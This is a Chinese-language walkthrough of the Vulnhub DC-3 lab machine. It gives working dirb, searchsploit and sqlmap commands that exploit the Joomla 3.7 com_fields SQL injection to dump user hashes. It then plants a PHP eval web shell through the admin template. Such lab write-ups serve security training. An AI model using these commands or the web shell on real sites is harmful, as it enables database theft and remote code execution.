Vulnhub DC-3

首先明确：《中华人民共和国网络安全法 》

开始

192.168.37.132

This time, there is only one flag, one entry point and no clues.

To get the flag, you'll obviously have to gain root privileges.

How you get to be root is up to you - and, obviously, the system.

Good luck - and I hope you enjoy this little challenge. :-)

目标 root 权限

同时

dirb http://192.168.37.132 -X .txt

版本 3.7

searchsploit joomla

/usr/share/exploitdb/exploits/php/webapps/42033.txt

复制一份到桌面打开，直接访问可能会出现卡顿

--passwords Enumerate DBMS users password hashes
--tables Enumerate DBMS database tables
--columns Enumerate DBMS database table columns
--schema Enumerate DBMS schema
--dump Dump DBMS database table entries
--dump-all Dump all DBMS databases tables entries
-D DB DBMS database to enumerate
-T TBL DBMS database table(s) to enumerate
-C COL DBMS database table column(s) to enumerate

sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

192.168.37.132

sqlmap -u "http://192.168.37.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

joomladb库

sqlmap -u "http://192.168.37.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]

爆表

sqlmap -u "http://192.168.37.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" --columns -p list[fullordering]

sqlmap -u "http://192.168.37.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" -C "name,password" --dump -p list[fullordering]

$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu

192.168.37.132

登录这个页面发现没有什么东西，只能更改编辑这个页面，也就是说应该还有其他地方要用到 admin 的账号，接下来扫目录

扫到

果然是个新的登录窗口

进入后台

目标明确，想要 root 权限，先控制，可以写一句话木马

ASP

<?php
@eval($_REQUEST['Pai'])
?>

Vulnhub DC-3相关推荐

vulnhub DC系列 DC-8
总结:exim4提权目录下载地址漏洞分析信息收集网站爆破后台webshell 提权下载地址 DC-8.zip (Size: 379 MB) Download: http://www.fi ...
vulnhub DC系列 DC-6
总结:wpscan爆破,nmap提权目录下载地址漏洞分析信息收集用户和密码爆破命令执行方法一: 方法二: 提权下载地址 DC-6.zip (Size: 619 MB) Download ...
vulnhub DC系列 DC-2
总结:cewl和wpscan的使用,rbash逃逸,suid提权下载地址 DC-2.zip (Size: 847 MB) Download: http://www.five86.com/downlo ...
vulnhub DC系列 DC-4
总结:爆破,teehee提权目录下载地址漏洞分析信息收集密码爆破命令执行编辑 ssh爆破提权下载地址 DC-4.zip (Size: 617 MB) Download: http: ...
vulnhub DC系列 DC-9
总结:sql注入,端口敲门,覆盖passwd提权下载地址 DC-9.zip (Size: 700 MB) Download: http://www.five86.com/downloads/DC-9 ...
vulnhub DC系列 DC-3
总结:joomscan工具的使用,cve-2016-4557内核提权或者cve-2021-4034内核提权下载地址漏洞分析信息收集 sql注入写马提权反弹shell 内核提权 cve-20 ...
Vulnhub靶机DC系列-DC-8
Vulnhub靶机DC系列-DC-8 靶场名称:DC-8 靶场地址:https://www.vulnhub.com/entry/dc-8,367/ 下载地址: DC-8.zip (Size: 379 ...
【vulnhub】靶机- [DC系列]DC9（附靶机)）
主机信息 Kali:192.168.56.113 DC9:192.168.56.112 实验过程先进行主机探测,查找靶机的IP地址: arp-scan --interface eth1 192.16 ...
『VulnHub系列』DC: 9-Walkthrough
靶机地址难度:中等靶机发布日期:2019年12月29日靶机描述:DC-9 is another purposely built vulnerable lab with the intent of ...
vulnhub渗透系列之DC（一）：内含suid的三种提权方法
我是啊锋,一个努力的学渣,作为一个刚进入安全大门的小白,我希望能把自己所学到的东西总结出来,分享到博客上,可以一起进步,一起交流,一起学习. 实验过程总结 1.这个题我觉得对刚入门的我来说,十分的困难 ...

Vulnhub DC-3

Vulnhub DC-3相关推荐

最新文章

热门文章